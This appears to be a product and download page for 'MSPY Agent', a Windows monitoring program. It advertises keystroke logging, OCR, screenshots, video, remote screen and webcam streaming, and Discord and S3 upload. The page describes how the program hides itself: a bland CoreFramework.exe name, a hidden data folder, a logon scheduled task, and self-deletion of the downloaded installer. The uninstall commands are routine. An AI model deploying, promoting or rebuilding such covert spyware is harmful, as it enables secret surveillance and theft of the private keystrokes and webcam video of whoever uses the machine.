MSPY
Agent v3
Single-binary monitoring agent — compiled with Nuitka, self-updating, auto-starts at logon via Task Scheduler
ACTIVE
MSPY Agent
v3.2.1
All-in-one monitoring agent. Detection, capture, streaming, and self-update — packaged in a single executable.
- Keyword detection — window titles, keystrokes, OCR
- Screenshot & video evidence capture
- Remote MJPEG streaming (screen + webcam)
- Discord webhook alerts with presigned S3 links
- Automatic self-update via S3 version check
- Runs as a background process with auto-start at logon
📦 Installation
- Click Download CoreFramework.exe above.
-
Double-click the downloaded
CoreFramework.exe. - Click Yes on the UAC prompt (administrator access is required).
That's it. The installer automatically creates the data directory, downloads configuration from the cloud, creates a scheduled task for auto-start, and begins monitoring. The original download deletes itself.
What happens under the hood
- Creates
%USERPROFILE%\mlog\with hidden attribute and subdirectories (logs, screenshots, videos, updates). - Copies itself to
%USERPROFILE%\mlog\CoreFramework.exe. - Fetches
.envconfiguration from CloudFront (all secrets pre-configured). - Creates a
CoreFrameworkServicescheduled task (runs at user logon). - Launches the agent and deletes the original downloaded file from Downloads.
🗑️ Uninstallation
Open an Administrator PowerShell and run these commands.
-
Stop the agent and remove the scheduled task:
taskkill /F /IM CoreFramework.exe schtasks /delete /tn CoreFrameworkService /f
-
Delete the data directory:
attrib -H $env:USERPROFILE\mlog Remove-Item $env:USERPROFILE\mlog -Recurse -ForceThis permanently deletes all screenshots, videos, logs, and configuration.